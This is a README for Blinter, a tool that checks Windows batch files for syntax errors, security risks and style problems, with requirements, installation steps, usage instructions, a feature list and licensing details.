Welcome to Blinter! This tool helps you find issues in your Windows batch files. With Blinter, you can catch syntax errors, security risks, and style problems before they become bigger issues. It’s an easy-to-use solution that makes your scripts better.
To download Blinter and start improving your batch files, visit the Releases page here: Download Blinter.
Before you download, ensure your system meets these requirements:
- Operating System: Windows 10 or later
- Python: Version 3.6 or later installed on your system
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Visit the Release Page: Click Download Blinter to access the latest version of Blinter.
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Choose the Right File: Look for the
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Download the File: Click on the file to download it to your computer. The file should start downloading right away.
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Run the Installer: Once the download finishes, locate the file in your Downloads folder. Double-click the
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Launch Blinter: After installation, you can find Blinter in your Start menu. Click on it to start using the tool.
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Open Your Batch File: Click on “File" in Blinter and choose “Open”. Find the batch file you want to analyze.
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Run the Analysis: Once your file is open, click on the “Lint” button. Blinter will check your batch file for issues.
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View Results: After the analysis, Blinter will show a report. You will see any errors or suggestions to improve your script. Follow the recommendations to fix your batch file.
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Save Your Changes: Don’t forget to save your batch file after making changes. Click on “File” and select “Save” or “Save As” to keep your updates.
- Syntax Checking: Blinter checks for common syntax errors in your batch files.
- Security Analysis: The tool highlights potential security vulnerabilities.
- Performance Insights: Get suggestions on how to improve the speed of your scripts.
- Style Guidelines: Follow best practices for writing clear and maintainable batch files.
If you need help or have questions, please check our GitHub issues page. You can report bugs or request new features there.
If you want to contribute to Blinter, feel free to fork the repository. We appreciate any help in making the tool better for everyone!
Blinter is open-source software licensed under the MIT License. You can use it freely and contribute back to the community.
For more information about batch scripting and best practices:
Thank you for choosing Blinter! Happy scripting!